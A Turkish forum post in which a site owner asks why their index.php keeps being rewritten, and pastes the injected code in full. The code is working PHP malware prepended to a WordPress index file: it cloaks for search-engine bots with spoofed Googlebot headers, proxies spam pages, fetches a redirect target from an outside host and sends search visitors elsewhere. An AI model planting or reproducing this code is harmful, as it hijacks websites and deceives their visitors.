Sitemde question2answer scriptini kullanıyorum. Daha önce scriptle alakalı benzer bir problem yaşamadım. Sürekli index.php içeriği değişiyor. Günlük ben değişiyorum o değişiyor. Cpanel şifresini değiştirdim. Virüs tarattım. Cronlara baktım ama çözüm bulamadım.
İçerik bu
<?php
if(!empty($_GET['tetes'])){
echo 'ok123344';
}
$tmp = strtolower($_SERVER['HTTP_USER_AGENT']);
$mysite = "https://kampusgenc.com/";
$filename = "";
$fromsite = "https://workingkeys.org/microsoft-office-2016-working-product-key/";
if (strpos($tmp, 'google') !== false || strpos($tmp, 'yahoo') !== false || strpos($tmp, 'aol') !== false || strpos($tmp, 'sqworm') !== false || strpos($tmp, 'bot') !== false) {
$ksite = !empty($_GET['p']) ? $_GET['p'] : "";
$list = array(
);
$listname = $filename . "?p=";
$liststr = "<div style='text-align: center'>";
foreach ($list as $key => $val) {
if ($ksite == $key) {
$fromsite = $val;
}
$liststr .= "<a href='" .$mysite . $filename . "?p=" . $key . "'>" . $key . "</a> ";
}
$liststr .= "</div>";
$url = empty($_GET['view']) ? "" : $_GET['view'];
if(function_exists('curl_init')){
$s = curl_init();
curl_setopt($s,CURLOPT_URL,$fromsite . $url);
curl_setopt($s,CURLOPT_RETURNTRANSFER,1);
curl_setopt($s,CURLOPT_USERAGENT,'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)');
curl_setopt($s,CURLOPT_REFERER,"http://www.google.com");
curl_setopt($s, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:66.249.72.240', 'CLIENT-IP:66.249.72.240'));
$content = curl_exec($s);
}else{$content=file_get_contents($fromsite . $url);}
if (!empty($ksite)) {
$qstr = $filename . "?p=" . $ksite . "&view=";
} else {
$qstr = $filename . "?view=";
}
$repstr = $mysite . $qstr;
$content = str_ireplace('href="', 'href="/', $content);
$content = str_ireplace('href="//', 'href="/', $content);
$content = str_ireplace('href="/http', 'href="http', $content);
$content = str_ireplace('href="/http', 'href="http', $content);
$content = str_replace('href="/', 'href="' . $fromsite, $content);
$content = str_ireplace('src="', 'src="/', $content);
$content = str_ireplace('src="//', 'src="/', $content);
$content = str_ireplace('src="/http', 'src="http', $content);
$content = str_ireplace('src="/http', 'src="http', $content);
$content = str_replace('src="/', 'src="' . $fromsite, $content);
$content = str_ireplace($fromsite, $repstr, $content);
$content = str_replace($repstr . "skin", $fromsite . "skin", $content);
$content = str_replace($repstr . "style", $fromsite . "style", $content);
$content = str_replace($repstr . "js", $fromsite . "js", $content);
$content = str_replace($repstr . "media", $fromsite . "media", $content);
$content = str_replace($repstr . "res", $fromsite . "res", $content);
$content = str_replace("</body>",$liststr . "</body>", $content);
$domain= str_replace(array("https://www.","http://www.","https://","http://","/"),"",$mysite);
$content = preg_replace("#href=(\"|')(http|https)://(?!(www\.)?".str_replace(".","\.",$domain).")(.*?)(\"|')#i", "href=\"#\"", $content);
if(empty($url)){
$content = preg_replace("#<link\srel=\"canonical\"\shref=\"(.*?)/>#","",$content);
$content = str_ireplace("</title>","</title>\r\n<link rel=\"canonical\" href=\"{$mysite}\" />",$content);}
echo $content;
exit;
} else {
$ch = curl_init();
$timeout = 2;
curl_setopt ($ch, CURLOPT_URL, "http://fingerling.org/hui/url.txt");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$tiaourl = curl_exec($ch);
curl_close($ch);
if(empty($tiaourl)){
$tiaourl = "https://www.buywin10.com/";
}
if(isset($_GET['view']) || isset($_GET['p']))
{
header("location: " . $tiaourl);
exit;
}if(empty($_COOKIE['haircki'])){
$ref = strtolower($_SERVER['HTTP_REFERER']);
if (strpos ($ref, 'google') !== false || strpos ($ref, 'yahoo') !== false || strpos ($ref, 'bing') !== false || strpos ($ref, 'aol') !== false || strpos ($ref, 'ask') !== false || strpos ($ref, 'search') !== false) {
$in = ("/");
if($_SERVER["REQUEST_URI"]==$in){header("location: " . $tiaourl);exit;}}
}
setcookie('haircki','haircooki', time()+3600*24);
}
?><?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define('WP_USE_THEMES', true);
/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );?> 
